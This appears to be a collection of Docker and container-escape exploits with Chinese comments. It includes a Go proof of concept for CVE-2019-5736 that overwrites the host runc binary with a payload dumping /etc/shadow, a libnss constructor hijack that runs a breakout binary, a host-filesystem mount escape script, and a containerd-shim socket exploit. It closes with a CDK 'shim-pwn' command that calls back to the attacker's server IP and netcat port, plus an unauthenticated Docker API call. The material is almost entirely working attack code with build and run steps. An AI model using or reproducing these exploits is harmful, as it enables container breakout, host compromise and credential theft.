package main
// Implementation of CVE-2019-5736// Created with help from @singe, @_cablethief, and @feexd.// This commit also helped a ton to understand the vuln// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9dimport (  "fmt"  "io/ioutil"  "os"  "strconv"  "strings")
// This is the line of shell commands that will execute on the hostvar payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"
func main() {  // First we overwrite /bin/sh with the /proc/self/exe interpreter path  fd, err := os.Create("/bin/sh")  if err != nil {    fmt.Println(err)    return  }  fmt.Fprintln(fd, "#!/proc/self/exe")  err = fd.Close()  if err != nil {    fmt.Println(err)    return  }  fmt.Println("[+] Overwritten /bin/sh successfully")
  // Loop through all processes to find one whose cmdline includes runcinit  // This will be the process created by runc  var found int  for found == 0 {    pids, err := ioutil.ReadDir("/proc")    if err != nil {      fmt.Println(err)      return    }    for _, f := range pids {      fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")      fstring := string(fbytes)      if strings.Contains(fstring, "runc") {        fmt.Println("[+] Found the PID:", f.Name())        found, err = strconv.Atoi(f.Name())        if err != nil {          fmt.Println(err)          return        }      }    }  }
  // We will use the pid to get a file handle for runc on the host.  var handleFd = -1  for handleFd == -1 {    // Note, you do not need to use the O_PATH flag for the exploit to work.    handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)    if int(handle.Fd()) > 0 {      handleFd = int(handle.Fd())    }  }  fmt.Println("[+] Successfully got the file handle")
  // Now that we have the file handle, lets write to the runc binary and overwrite it  // It will maintain it's executable flag  for {    writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)    if int(writeHandle.Fd()) > 0 {      fmt.Println("[+] Successfully got write handle", writeHandle)      writeHandle.Write([]byte(payload))      return    }  }}

#攻击者在容器内执行CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go #编译POCchmod 777 main./main #执行Payload

sudo docker exec -it  cafa20cfb0f9 /bin/sh

#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void){     char * argv_break[2];     if (!is_priviliged())           return;
     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);     fprintf(log_fp, "switched back to the original libnss_file.so");
     if (!fork())     {
           // Child runs breakout           argv_break[0] = strdup("/breakout");           argv_break[1] = NULL;           execve("/breakout", argv_break, NULL);     }     else           wait(NULL); // Wait for child
     return;}bool is_priviliged(){     FILE * proc_file = fopen("/proc/self/exe", "r");     if (proc_file != NULL)     {           fclose(proc_file);           return false; // can open so /proc exists, not privileged     }     return true; // we're running in the context of docker-tar}

#!/bin/bash
umount /host_fs && rm -rf /host_fsmkdir /host_fs

mount -t proc none /proc     # mount the host's procfs over /proccd /proc/1/root              # chdir to host's rootmount --bind . /host_fs      # mount host root at /host_fsecho "Hello from within the container!" > /host_fs/evil

package main
import (    "context"    "errors"    "io/ioutil"    "log"    "net"    "regexp"    "strings"
    "github.com/containerd/ttrpc"    "github.com/gogo/protobuf/types")
func exp(sock string) bool {    sock = strings.Replace(sock, "@", "", -1)    conn, err := net.Dial("unix", "\x00"+sock)    if err != nil {        log.Println(err)        return false    }
    client := ttrpc.NewClient(conn)    shimClient := NewShimClient(client)    ctx := context.Background()    info, err := shimClient.ShimInfo(ctx, &types.Empty{})    if err != nil {        log.Println("rpc error:", err)        return false    }
    log.Println("shim pid:", info.ShimPid)    return true}
func getShimSockets() ([][]byte, error) {    re, err := regexp.Compile("@/containerd-shim/.*\\.sock")    if err != nil {        return nil, err    }    data, err := ioutil.ReadFile("/proc/net/unix")    matches := re.FindAll(data, -1)    if matches == nil {        return nil, errors.New("Cannot find vulnerable socket")    }    return matches, nil}
func main() {    matchset := make(map[string]bool)    socks, err := getShimSockets()    if err != nil {        log.Fatalln(err)    }    for _, b := range socks {        sockname := string(b)        if _, ok := matchset[sockname]; ok {            continue        }        log.Println("try socket:", sockname)        matchset[sockname] = true        if exp(sockname) {            break        }    }
    return}

chmod +x cdk_linux_amd64./cdk_linux_amd64 run shim-pwn <自己服务器IP> <NC端口>

docker -H tcp://x.x.x.x:2375 ps